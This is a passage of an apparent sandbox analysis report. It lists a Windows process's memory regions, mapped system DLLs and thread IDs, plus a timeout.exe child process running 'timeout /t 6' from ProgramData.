start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1530 start_va = 0x7ffb251a0000 end_va = 0x7ffb251affff monitored = 0 entry_point = 0x7ffb251a56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1531 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1532 start_va = 0x7ffb253a0000 end_va = 0x7ffb253b6fff monitored = 0 entry_point = 0x7ffb253a1390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1533 start_va = 0x7ffb253c0000 end_va = 0x7ffb25586fff monitored = 0 entry_point = 0x7ffb2541db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1534 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1535 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1536 start_va = 0x7ffb25770000 end_va = 0x7ffb257f5fff monitored = 0 entry_point = 0x7ffb2577d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1537 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1538 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1539 start_va = 0x7ffb25ea0000 end_va = 0x7ffb25ef4fff monitored = 0 entry_point = 0x7ffb25eb7970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1540 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1541 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1542 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1543 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1544 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1545 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1546 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1547 start_va = 0x7ffb26780000 end_va = 0x7ffb267dbfff monitored = 0 entry_point = 0x7ffb2679b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1548 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1549 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1550 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1551 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1552 start_va = 0x7ffb28450000 end_va = 0x7ffb284bafff monitored = 0 entry_point = 0x7ffb284690c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1553 start_va = 0x7ffb284c0000 end_va = 0x7ffb288e8fff monitored = 0 entry_point = 0x7ffb284e8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1554 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1555 start_va = 0x7ffb28a40000 end_va = 0x7ffb28a47fff monitored = 0 entry_point = 0x7ffb28a41ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1556 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1557 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1559 start_va = 0x7d00000 end_va = 0x7dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d00000" filename = "" Region: id = 1560 start_va = 0x7e00000 end_va = 0x7efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 1561 start_va = 0x7f00000 end_va = 0x7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 1562 start_va = 0x8000000 end_va = 0x80fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008000000" filename = "" Region: id = 1564 start_va = 0x690000 end_va = 0x695fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1627 start_va = 0x1700000 end_va = 0x1742fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1628 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1629 start_va = 0x5000000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 1630 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1631 start_va = 0x1750000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 1632 start_va = 0x2b90000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 1633 start_va = 0x2b90000 end_va = 0x2b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 1634 start_va = 0x2ba0000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ba0000" filename = "" Region: id = 1635 start_va = 0x2bb0000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bb0000" filename = "" Region: id = 1636 start_va = 0x2bc0000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bc0000" filename = "" Region: id = 1637 start_va = 0x2bd0000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bd0000" filename = "" Region: id = 1638 start_va = 0x2be0000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002be0000" filename = "" Region: id = 1639 start_va = 0x690000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1640 start_va = 0x4b00000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 1641 start_va = 0x4880000 end_va = 0x48cdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004880000" filename = "" Region: id = 1642 start_va = 0x4b80000 end_va = 0x4bcdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 1643 start_va = 0x5200000 end_va = 0x525ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 1644 start_va = 0x5200000 end_va = 0x520ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005200000" filename = "" Region: id = 1645 start_va = 0x5210000 end_va = 0x521ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005210000" filename = "" Region: id = 1646 start_va = 0x5220000 end_va = 0x522ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005220000" filename = "" Region: id = 1647 start_va = 0x5230000 end_va = 0x523ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005230000" filename = "" Region: id = 1648 start_va = 0x5240000 end_va = 0x524ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005240000" filename = "" Region: id = 1649 start_va = 0x5250000 end_va = 0x525ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005250000" filename = "" Region: id = 1650 start_va = 0x5260000 end_va = 0x545ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 1651 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 1652 start_va = 0x7e0000 end_va = 0x7e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1653 start_va = 0x96a0000 end_va = 0xa69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000096a0000" filename = "" Region: id = 1654 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 1655 start_va = 0x10f0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 1656 start_va = 0x17d0000 end_va = 0x17d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1657 start_va = 0x17f0000 end_va = 0x17f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017f0000" filename = "" Region: id = 1658 start_va = 0x1f20000 end_va = 0x1f23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1659 start_va = 0x1f30000 end_va = 0x1f31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 1660 start_va = 0x21c0000 end_va = 0x21c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1661 start_va = 0x7700000 end_va = 0x784ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 1662 start_va = 0x21d0000 end_va = 0x21d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1663 start_va = 0x21e0000 end_va = 0x21e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 1664 start_va = 0x21e0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 1665 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1666 start_va = 0x2bf0000 end_va = 0x2bf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 1667 start_va = 0x2bf0000 end_va = 0x2bf3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 1668 start_va = 0x3480000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1669 start_va = 0x3480000 end_va = 0x3481fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1670 start_va = 0x3490000 end_va = 0x3493fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003490000" filename = "" Region: id = 1671 start_va = 0x3490000 end_va = 0x349ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1672 start_va = 0x34a0000 end_va = 0x34affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 1673 start_va = 0x36c0000 end_va = 0x36cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 1674 start_va = 0x36d0000 end_va = 0x36dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 1675 start_va = 0x36e0000 end_va = 0x36effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036e0000" filename = "" Region: id = 1676 start_va = 0x36f0000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 1677 start_va = 0x3c80000 end_va = 0x3c8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1678 start_va = 0x3c90000 end_va = 0x3c9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1679 start_va = 0x3ca0000 end_va = 0x3ca3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 1680 start_va = 0x3cc0000 end_va = 0x3ccffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1681 start_va = 0x3cd0000 end_va = 0x3cdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1682 start_va = 0x3ce0000 end_va = 0x3ceffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1683 start_va = 0x3cf0000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cf0000" filename = "" Region: id = 1684 start_va = 0x4be0000 end_va = 0x4beffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1685 start_va = 0x4bf0000 end_va = 0x4bfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1686 start_va = 0x3c90000 end_va = 0x3c9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1687 start_va = 0x3cc0000 end_va = 0x3ccffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1688 start_va = 0x3cd0000 end_va = 0x3cdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1689 start_va = 0x3ce0000 end_va = 0x3ce1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ce0000" filename = "" Region: id = 1690 start_va = 0x5270000 end_va = 0x5271fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005270000" filename = "" Region: id = 1691 start_va = 0x4a00000 end_va = 0x4a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1692 start_va = 0x5280000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005280000" filename = "" Region: id = 1693 start_va = 0x3490000 end_va = 0x3493fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003490000" filename = "" Region: id = 1694 start_va = 0x2bf0000 end_va = 0x2bf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 1695 start_va = 0x2bf0000 end_va = 0x2bf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 1696 start_va = 0x1750000 end_va = 0x1770fff monitored = 0 entry_point = 0x1752300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1697 start_va = 0x1780000 end_va = 0x17cefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001780000" filename = "" Region: id = 1698 start_va = 0x1750000 end_va = 0x1770fff monitored = 0 entry_point = 0x1752300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1699 start_va = 0x1750000 end_va = 0x1770fff monitored = 0 entry_point = 0x1752300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1700 start_va = 0x5d80000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 1701 start_va = 0x6280000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006280000" filename = "" Region: id = 1702 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 1703 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 2030 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Thread: id = 33 os_tid = 0x9d0 Thread: id = 34 os_tid = 0x1368 Thread: id = 35 os_tid = 0x1364 Thread: id = 36 os_tid = 0x12d0 Thread: id = 37 os_tid = 0x1200 Thread: id = 38 os_tid = 0x11ec Thread: id = 39 os_tid = 0x11e0 Thread: id = 40 os_tid = 0x70c Thread: id = 41 os_tid = 0x4c4 Thread: id = 42 os_tid = 0x470 Thread: id = 43 os_tid = 0x120 Thread: id = 44 os_tid = 0x3fc Thread: id = 45 os_tid = 0x394 Thread: id = 46 os_tid = 0x368 Thread: id = 47 os_tid = 0xfd0 Thread: id = 48 os_tid = 0xc64 Thread: id = 49 os_tid = 0x634 Thread: id = 50 os_tid = 0x918 Thread: id = 51 os_tid = 0xe18 Thread: id = 52 os_tid = 0xf9c Thread: id = 53 os_tid = 0xf88 Thread: id = 54 os_tid = 0xf70 Thread: id = 55 os_tid = 0xf40 Thread: id = 56 os_tid = 0xf34 Thread: id = 57 os_tid = 0xf20 Thread: id = 58 os_tid = 0xef0 Thread: id = 59 os_tid = 0xed4 Thread: id = 60 os_tid = 0xecc Thread: id = 61 os_tid = 0xea8 Thread: id = 62 os_tid = 0xe84 Thread: id = 63 os_tid = 0xe80 Thread: id = 64 os_tid = 0xe78 Thread: id = 65 os_tid = 0xe2c Thread: id = 66 os_tid = 0xcf8 Thread: id = 67 os_tid = 0xb04 Thread: id = 68 os_tid = 0xac4 Thread: id = 69 os_tid = 0xb48 Thread: id = 70 os_tid = 0xb44 Thread: id = 71 os_tid = 0xb40 Thread: id = 72 os_tid = 0xaec Thread: id = 73 os_tid = 0xae4 Thread: id = 74 os_tid = 0xae0 Thread: id = 75 os_tid = 0xaa8 Thread: id = 76 os_tid = 0xa54 Thread: id = 77 os_tid = 0xa40 Thread: id = 78 os_tid = 0xa28 Thread: id = 79 os_tid = 0xa0c Thread: id = 80 os_tid = 0xa08 Thread: id = 81 os_tid = 0x9ec Thread: id = 82 os_tid = 0x9e4 Thread: id = 83 os_tid = 0x9e0 Thread: id = 84 os_tid = 0x9d8 Thread: id = 85 os_tid = 0x9d4 Thread: id = 86 os_tid = 0x950 Thread: id = 87 os_tid = 0x93c Thread: id = 88 os_tid = 0x91c Thread: id = 89 os_tid = 0x830 Thread: id = 90 os_tid = 0x82c Thread: id = 91 os_tid = 0x4e0 Thread: id = 92 os_tid = 0x488 Thread: id = 93 os_tid = 0x520 Thread: id = 94 os_tid = 0x48c Thread: id = 95 os_tid = 0x630 Thread: id = 96 os_tid = 0x4dc Thread: id = 97 os_tid = 0x4a8 Thread: id = 98 os_tid = 0x49c Thread: id = 99 os_tid = 0x44c Thread: id = 100 os_tid = 0x434 Thread: id = 101 os_tid = 0x408 Thread: id = 102 os_tid = 0x404 Thread: id = 103 os_tid = 0x2b0 Thread: id = 104 os_tid = 0x294 Thread: id = 105 os_tid = 0x168 Thread: id = 106 os_tid = 0x170 Thread: id = 107 os_tid = 0x288 Thread: id = 108 os_tid = 0x284 Thread: id = 109 os_tid = 0x264 Thread: id = 110 os_tid = 0x274 Thread: id = 111 os_tid = 0x15c Thread: id = 112 os_tid = 0xf4 Thread: id = 113 os_tid = 0x6ec Thread: id = 114 os_tid = 0x424 Thread: id = 115 os_tid = 0x324 Thread: id = 116 os_tid = 0x704 Thread: id = 119 os_tid = 0x124 Thread: id = 120 os_tid = 0x6d8 Thread: id = 121 os_tid = 0x79c Thread: id = 122 os_tid = 0x1380 Thread: id = 123 os_tid = 0x1358 Thread: id = 124 os_tid = 0xb0 Thread: id = 125 os_tid = 0x6bc Process: id = "7" image_name = "timeout.exe" filename = "c:\\windows\\syswow64\\timeout.exe" page_root = "0x38d32000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x89c" cmd_line = "timeout /t 6 " cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1565 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1566 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1567 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1568 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1569 start_va = 0xa0000 end_va = 0xa3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1570 start_va = 0xb0000 end_va = 0xb9fff monitored = 1 entry_point = 0xb4fb0 region_type = mapped_file name = "timeout.exe" filename = "\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe") Region: id = 1571 start_va = 0xc0000 end_va = 0x40bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1572 start_va = 0x40c0000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 1573 start_va = 0x4100000 end_va = 0x4100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004100000" filename = "" Region: id = 1574 start_va = 0x4110000 end_va = 0x4111fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 1575 start_va = 0x4200000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1576 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1577 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 1578 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1579 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1580 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 1581 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1582 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 1583 start_va = 0x45e0000 end_va = 0x45effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 1584 start_va = 0x657b0000 end_va = 